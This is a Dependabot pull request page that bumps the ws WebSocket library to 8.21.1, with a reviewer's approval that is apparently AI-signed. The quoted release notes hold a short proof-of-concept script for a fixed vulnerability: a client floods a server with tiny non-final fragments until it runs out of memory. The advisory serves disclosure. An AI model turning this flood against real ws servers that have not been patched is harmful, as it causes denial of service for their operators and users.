Skip to content

build(deps): bump ws from 8.18.3 to 8.21.1 in /examples - #3392

Merged
jamiehenson merged 2 commits into
mainfrom
dependabot/npm_and_yarn/examples/ws-8.21.0
Jul 23, 2026
Merged

build(deps): bump ws from 8.18.3 to 8.21.1 in /examples#3392
jamiehenson merged 2 commits into
mainfrom
dependabot/npm_and_yarn/examples/ws-8.21.0

Conversation

@dependabot

@dependabot dependabot Bot commented on behalf of github May 29, 2026

Copy link
Copy Markdown
Contributor

Bumps ws from 8.18.3 to 8.21.1.

Release notes

Sourced from ws's releases.

8.21.1

Bug fixes

  • Empty fragments are now counted toward the limit (a2f4e7c0).
  • The default values of the maxBufferedChunks and maxFragments options have been reduced (f197ac65).

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

... (truncated)

Commits
  • ae1de54 [dist] 8.21.1
  • 8e9511b [ci] Trust Coveralls Homebrew tap
  • f197ac6 [fix] Lower default values of maxBufferedChunks and maxFragments
  • 8df8265 [ci] Update actions/checkout action to v7
  • a2f4e7c [fix] Count empty fragments toward the limit (#2329)
  • e79f912 [pkg] Approve install scripts for bufferutil and utf-8-validate
  • 4ea355d [doc] Document 32-bit signed integer coercion for option values
  • 2120f4c [example] Remove uuid dependency
  • 4c534a6 [security] Add latest vulnerability to SECURITY.md
  • bca91ad [dist] 8.21.0
  • Additional commits viewable in compare view

Note
Automatic rebases have been disabled on this pull request as it has been open for over 30 days.

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code labels May 29, 2026
@dependabot
dependabot Bot force-pushed the dependabot/npm_and_yarn/examples/ws-8.21.0 branch 2 times, most recently from fae484b to c08e608 Compare June 25, 2026 17:22

@jamiehenson jamiehenson left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approving. Transitive via the Ably SDK's Node WS transport in /examples. 8.20.1 + 8.21.0 close two memory-safety fixes (uninitialised-memory disclosure on close(TypedArray), and a fragment-flood DoS); the SDK uses a stock WS client so it doesn't hit either path. In-range, CI green.

~ 𝒞𝓁𝒶𝓊𝒹𝑒

@jamiehenson

Copy link
Copy Markdown
Member

@dependabot rebase

Bumps [ws](https://github.com/websockets/ws) from 8.18.3 to 8.21.1.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.18.3...8.21.1)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot changed the title chore(deps): bump ws from 8.18.3 to 8.21.0 in /examples build(deps): bump ws from 8.18.3 to 8.21.1 in /examples Jul 23, 2026
@dependabot
dependabot Bot force-pushed the dependabot/npm_and_yarn/examples/ws-8.21.0 branch from c08e608 to 3a54593 Compare July 23, 2026 13:02
@jamiehenson
jamiehenson enabled auto-merge July 23, 2026 13:11
@jamiehenson
jamiehenson merged commit 31b92a6 into main Jul 23, 2026
6 of 7 checks passed
@jamiehenson
jamiehenson deleted the dependabot/npm_and_yarn/examples/ws-8.21.0 branch July 23, 2026 13:50
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update Javascript code

Development

Successfully merging this pull request may close these issues.

1 participant